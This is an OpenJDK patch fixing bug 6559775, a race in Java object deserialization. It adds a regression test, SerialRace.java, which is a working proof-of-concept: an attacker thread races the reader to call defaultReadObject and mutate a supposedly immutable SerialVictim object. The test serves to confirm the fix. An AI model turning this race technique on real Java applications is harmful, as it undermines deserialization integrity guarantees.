6559775: Race allows defaultReadObject to be invoked instead of readFields during deserialization
Reviewed-by: hawtin
--- a/jdk/make/java/java/FILES_java.gmk Fri Oct 01 18:39:44 2010 +0400
+++ b/jdk/make/java/java/FILES_java.gmk Tue Sep 28 01:09:10 2010 -0700
@@ -400,6 +400,7 @@
java/io/FilePermission.java \
java/io/Serializable.java \
java/io/Externalizable.java \
+ java/io/SerialCallbackContext.java \
java/io/Bits.java \
java/io/ObjectInput.java \
java/io/ObjectInputStream.java \
--- a/jdk/src/share/classes/java/io/ObjectInputStream.java Fri Oct 01 18:39:44 2010 +0400
+++ b/jdk/src/share/classes/java/io/ObjectInputStream.java Tue Sep 28 01:09:10 2010 -0700
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 1996, 2008, Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 1996, 2010, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
@@ -265,7 +265,7 @@
* object currently being deserialized and descriptor for current class.
* Null when not during readObject upcall.
*/
- private CallbackContext curContext;
+ private SerialCallbackContext curContext;
/**
* Creates an ObjectInputStream that reads from the specified InputStream.
@@ -1798,7 +1798,7 @@
private void readExternalData(Externalizable obj, ObjectStreamClass desc)
throws IOException
{
- CallbackContext oldContext = curContext;
+ SerialCallbackContext oldContext = curContext;
curContext = null;
try {
boolean blocked = desc.hasBlockExternalData();
@@ -1857,10 +1857,10 @@
slotDesc.hasReadObjectMethod() &&
handles.lookupException(passHandle) == null)
{
- CallbackContext oldContext = curContext;
+ SerialCallbackContext oldContext = curContext;
try {
- curContext = new CallbackContext(obj, slotDesc);
+ curContext = new SerialCallbackContext(obj, slotDesc);
bin.setBlockDataMode(true);
slotDesc.invokeReadObject(obj, this);
@@ -3505,42 +3505,4 @@
}
}
- /**
- * Context that during upcalls to class-defined readObject methods; holds
- * object currently being deserialized and descriptor for current class.
- * This context keeps a boolean state to indicate that defaultReadObject
- * or readFields has already been invoked with this context or the class's
- * readObject method has returned; if true, the getObj method throws
- * NotActiveException.
- */
- private static class CallbackContext {
- private final Object obj;
- private final ObjectStreamClass desc;
- private final AtomicBoolean used = new AtomicBoolean();
-
- public CallbackContext(Object obj, ObjectStreamClass desc) {
- this.obj = obj;
- this.desc = desc;
- }
-
- public Object getObj() throws NotActiveException {
- checkAndSetUsed();
- return obj;
- }
-
- public ObjectStreamClass getDesc() {
- return desc;
- }
-
- private void checkAndSetUsed() throws NotActiveException {
- if (!used.compareAndSet(false, true)) {
- throw new NotActiveException(
- "not in readObject invocation or fields already read");
- }
- }
-
- public void setUsed() {
- used.set(true);
- }
- }
}
--- a/jdk/src/share/classes/java/io/ObjectOutputStream.java Fri Oct 01 18:39:44 2010 +0400
+++ b/jdk/src/share/classes/java/io/ObjectOutputStream.java Tue Sep 28 01:09:10 2010 -0700
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 1996, 2006, Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 1996, 2010, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
@@ -35,6 +35,7 @@
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ConcurrentMap;
import static java.io.ObjectStreamClass.processQueue;
+import java.io.SerialCallbackContext;
/**
* An ObjectOutputStream writes primitive data types and graphs of Java objects
@@ -191,10 +192,12 @@
private boolean enableReplace;
// values below valid only during upcalls to writeObject()/writeExternal()
- /** object currently being serialized */
- private Object curObj;
- /** descriptor for current class (null if in writeExternal()) */
- private ObjectStreamClass curDesc;
+ /**
+ * Context during upcalls to class-defined writeObject methods; holds
+ * object currently being serialized and descriptor for current class.
+ * Null when not during writeObject upcall.
+ */
+ private SerialCallbackContext curContext;
/** current PutField object */
private PutFieldImpl curPut;
@@ -426,9 +429,11 @@
* <code>OutputStream</code>
*/
public void defaultWriteObject() throws IOException {
- if (curObj == null || curDesc == null) {
+ if ( curContext == null ) {
throw new NotActiveException("not in call to writeObject");
}
+ Object curObj = curContext.getObj();
+ ObjectStreamClass curDesc = curContext.getDesc();
bout.setBlockDataMode(false);
defaultWriteFields(curObj, curDesc);
bout.setBlockDataMode(true);
@@ -446,9 +451,11 @@
*/
public ObjectOutputStream.PutField putFields() throws IOException {
if (curPut == null) {
- if (curObj == null || curDesc == null) {
+ if (curContext == null) {
throw new NotActiveException("not in call to writeObject");
}
+ Object curObj = curContext.getObj();
+ ObjectStreamClass curDesc = curContext.getDesc();
curPut = new PutFieldImpl(curDesc);
}
return curPut;
@@ -1420,17 +1427,15 @@
* writeExternal() method.
*/
private void writeExternalData(Externalizable obj) throws IOException {
- Object oldObj = curObj;
- ObjectStreamClass oldDesc = curDesc;
PutFieldImpl oldPut = curPut;
- curObj = obj;
- curDesc = null;
curPut = null;
if (extendedDebugInfo) {
debugInfoStack.push("writeExternal data");
}
+ SerialCallbackContext oldContext = curContext;
try {
+ curContext = null;
if (protocol == PROTOCOL_VERSION_1) {
obj.writeExternal(this);
} else {
@@ -1440,13 +1445,12 @@
bout.writeByte(TC_ENDBLOCKDATA);
}
} finally {
+ curContext = oldContext;
if (extendedDebugInfo) {
debugInfoStack.pop();
}
}
- curObj = oldObj;
- curDesc = oldDesc;
curPut = oldPut;
}
@@ -1461,12 +1465,9 @@
for (int i = 0; i < slots.length; i++) {
ObjectStreamClass slotDesc = slots[i].desc;
if (slotDesc.hasWriteObjectMethod()) {
- Object oldObj = curObj;
- ObjectStreamClass oldDesc = curDesc;
PutFieldImpl oldPut = curPut;
- curObj = obj;
- curDesc = slotDesc;
curPut = null;
+ SerialCallbackContext oldContext = curContext;
if (extendedDebugInfo) {
debugInfoStack.push(
@@ -1474,18 +1475,19 @@
slotDesc.getName() + "\")");
}
try {
+ curContext = new SerialCallbackContext(obj, slotDesc);
bout.setBlockDataMode(true);
slotDesc.invokeWriteObject(obj, this);
bout.setBlockDataMode(false);
bout.writeByte(TC_ENDBLOCKDATA);
} finally {
+ curContext.setUsed();
+ curContext = oldContext;
if (extendedDebugInfo) {
debugInfoStack.pop();
}
}
- curObj = oldObj;
- curDesc = oldDesc;
curPut = oldPut;
} else {
defaultWriteFields(obj, slotDesc);
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/jdk/src/share/classes/java/io/SerialCallbackContext.java Tue Sep 28 01:09:10 2010 -0700
@@ -0,0 +1,58 @@
+ /*
+ * %W% %E%
+ *
+ * Copyright (c) 2006, 2010 Oracle and/or its affiliates. All rights reserved.
+ * ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
+ */
+
+ package java.io;
+
+ /**
+ * Context during upcalls from object stream to class-defined
+ * readObject/writeObject methods.
+ * Holds object currently being deserialized and descriptor for current class.
+ *
+ * This context keeps track of the thread it was constructed on, and allows
+ * only a single call of defaultReadObject, readFields, defaultWriteObject
+ * or writeFields which must be invoked on the same thread before the class's
+ * readObject/writeObject method has returned.
+ * If not set to the current thread, the getObj method throws NotActiveException.
+ */
+ final class SerialCallbackContext {
+ private final Object obj;
+ private final ObjectStreamClass desc;
+ /**
+ * Thread this context is in use by.
+ * As this only works in one thread, we do not need to worry about thread-safety.
+ */
+ private Thread thread;
+
+ public SerialCallbackContext(Object obj, ObjectStreamClass desc) {
+ this.obj = obj;
+ this.desc = desc;
+ this.thread = Thread.currentThread();
+ }
+
+ public Object getObj() throws NotActiveException {
+ checkAndSetUsed();
+ return obj;
+ }
+
+ public ObjectStreamClass getDesc() {
+ return desc;
+ }
+
+ private void checkAndSetUsed() throws NotActiveException {
+ if (thread != Thread.currentThread()) {
+ throw new NotActiveException(
+ "not in readObject invocation or fields already read");
+ }
+ thread = null;
+ }
+
+ public void setUsed() {
+ thread = null;
+ }
+ }
+
+
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/jdk/test/java/io/Serializable/6559775/README Tue Sep 28 01:09:10 2010 -0700
@@ -0,0 +1,29 @@
+The testcase works well on dual core machines.
+The below output indicates a successful fix:
+
+Exception in thread "Thread-0" java.lang.NullPointerException
+ at java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:476)
+ at SerialRace$1.run(SerialRace.java:33)
+ at java.lang.Thread.run(Thread.java:595)
+
+
+When the vulnerability exists, the output of the tescase is something like this:
+Available processors: 2
+Iteration 1
+java.io.NotActiveException: not in readObject invocation or fields already read
+ at java.io.ObjectInputStream$CallbackContext.checkAndSetUsed(ObjectInputStream.java:3437)
+ at java.io.ObjectInputStream$CallbackContext.getObj(ObjectInputStream.java:3427)
+ at java.io.ObjectInputStream.readFields(ObjectInputStream.java:514)
+ at SerialVictim.readObject(SerialVictim.java:19)
+ at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+ at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
+ at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
+ at java.lang.reflect.Method.invoke(Method.java:585)
+ at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:946)
+ at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1809)
+ at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1719)
+ at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1305)
+ at java.io.ObjectInputStream.readObject(ObjectInputStream.java:348)
+ at SerialRace.main(SerialRace.java:65)
+Victim: ?
+Victim: $
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/jdk/test/java/io/Serializable/6559775/SerialRace.java Tue Sep 28 01:09:10 2010 -0700
@@ -0,0 +1,86 @@
+/*
+ * @test %W% %E%
+ * @bug 6559775
+ * @summary Race allows defaultReadObject to be invoked instead of readFields during deserialization
+ * @run shell Test6559775.sh
+*/
+
+import java.io.*;
+
+public class SerialRace {
+ public static void main(String[] args) throws Exception {
+ System.err.println(
+ "Available processors: "+
+ Runtime.getRuntime().availableProcessors()
+ );
+
+ final int perStream = 10000;
+
+ // Construct attack data.
+ ByteArrayOutputStream byteOut = new ByteArrayOutputStream();
+ {
+ ObjectOutputStream out = new ObjectOutputStream(byteOut);
+ char[] value = new char[] { '?' };
+ out.writeObject(value);
+ for (int i=0; i<perStream; ++i) {
+ SerialVictim orig = new SerialVictim(value);
+ out.writeObject(orig);
+ }
+ out.flush();
+ }
+ byte[] data = byteOut.toByteArray();
+
+ ByteArrayInputStream byteIn = new ByteArrayInputStream(data);
+ final ObjectInputStream in = new ObjectInputStream(byteIn);
+ final char[] value = (char[])in.readObject();
+ Thread thread = new Thread(new Runnable() { public void run() {
+ for (;;) {
+ try {
+ // Attempt to interlope on other thread.
+ in.defaultReadObject();
+ // Got it.
+
+ // Let other thread reach known state.
+ Thread.sleep(1000);
+ // This is the reference usually
+ // read in extended data.
+ SerialVictim victim = (SerialVictim)
+ in.readObject();
+ System.err.println("Victim: "+victim);
+ value[0] = '$';
+ System.err.println("Victim: "+victim);
+ return;
+ } catch (java.io.NotActiveException exc) {
+ // Not ready yet...
+ } catch (java.lang.InterruptedException exc) {
+ throw new Error(exc);
+ } catch (IOException exc) {
+ throw new Error(exc);
+ } catch (ClassNotFoundException exc) {
+ throw new Error(exc);
+ }
+ }
+ }});
+ thread.start();
+ Thread.yield();
+ // Normal reading from object stream.
+ // We hope the other thread catches us out between
+ // setting up the call to SerialVictim.readObject and
+ // the AtomicBoolean acquisition in readFields.
+ for (int i=0; i<perStream; ++i) {
+ try {
+ SerialVictim victim = (SerialVictim)in.readObject();
+ } catch (Exception exc) {
+ synchronized (System.err) {
+ System.err.println("Iteration "+i);
+ exc.printStackTrace();
+ }
+ // Allow atack thread to do it's business before close.
+ Thread.sleep(2000);
+ break;
+ }
+ }
+ // Stop the other thread.
+ in.close();
+ }
+}
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/jdk/test/java/io/Serializable/6559775/SerialVictim.java Tue Sep 28 01:09:10 2010 -0700
@@ -0,0 +1,31 @@
+/**
+ * Instances of this class created through deserialization
+ * should, in theory, be immutable.
+ * Instances created through the public constructor
+ * are only to ease creation of the binary attack data.
+ */
+
+public class SerialVictim implements java.io.Serializable {
+ private char[] value;
+ public SerialVictim(char[] value) {
+ this.value = value;
+ }
+ //@Override
+ public String toString() {
+ return new String(value);
+ }
+ private void readObject(
+ java.io.ObjectInputStream in
+ ) throws java.io.IOException, java.lang.ClassNotFoundException {
+ java.io.ObjectInputStream.GetField fields = in.readFields();
+ // Clone before write should, in theory, make instance safe.
+ this.value = (char[])((char[])fields.get("value", null)).clone();
+ in.readObject();
+ }
+ private void writeObject(
+ java.io.ObjectOutputStream out
+ ) throws java.io.IOException {
+ out.defaultWriteObject();
+ out.writeObject(this);
+ }
+}
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/jdk/test/java/io/Serializable/6559775/Test6559775.sh Tue Sep 28 01:09:10 2010 -0700
@@ -0,0 +1,79 @@
+#!/bin/sh
+
+if [ "${TESTSRC}" = "" ]
+then TESTSRC=.
+fi
+
+if [ "${TESTJAVA}" = "" ]
+then
+ PARENT=`dirname \`which java\``
+ TESTJAVA=`dirname ${PARENT}`
+ echo "TESTJAVA not set, selecting " ${TESTJAVA}
+ echo "If this is incorrect, try setting the variable manually."
+fi
+
+if [ "${TESTCLASSES}" = "" ]
+then
+ echo "TESTCLASSES not set. Test cannot execute. Failed."
+ exit 1
+fi
+
+BIT_FLAG=""
+
+# set platform-dependent variables
+OS=`uname -s`
+case "$OS" in
+ SunOS | Linux )
+ NULL=/dev/null
+ PS=":"
+ FS="/"
+ ## for solaris, linux it's HOME
+ FILE_LOCATION=$HOME
+ if [ -f ${FILE_LOCATION}${FS}JDK64BIT -a ${OS} = "SunOS" ]
+ then
+ BIT_FLAG=`cat ${FILE_LOCATION}${FS}JDK64BIT | grep -v '^#'`
+ fi
+ ;;
+ Windows_* )
+ NULL=NUL
+ PS=";"
+ FS="\\"
+ ;;
+ * )
+ echo "Unrecognized system!"
+ exit 1;
+ ;;
+esac
+
+JEMMYPATH=${CPAPPEND}
+CLASSPATH=.${PS}${TESTCLASSES}${PS}${JEMMYPATH} ; export CLASSPATH
+
+THIS_DIR=`pwd`
+
+${TESTJAVA}${FS}bin${FS}java ${BIT_FLAG} -version
+
+cp ${TESTSRC}${FS}*.java .
+chmod 777 *.java
+
+${TESTJAVA}${FS}bin${FS}javac SerialRace.java
+
+${TESTJAVA}${FS}bin${FS}java ${BIT_FLAG} SerialRace > test.out 2>&1
+
+cat test.out
+
+STATUS=0
+
+egrep "java.io.NotActiveException|not in readObject invocation or fields already read|^Victim" test.out
+
+if [ $? = 0 ]
+then
+ STATUS=1
+else
+ grep "java.lang.NullPointerException" test.out
+
+ if [ $? != 0 ]; then
+ STATUS=1
+ fi
+fi
+
+exit $STATUS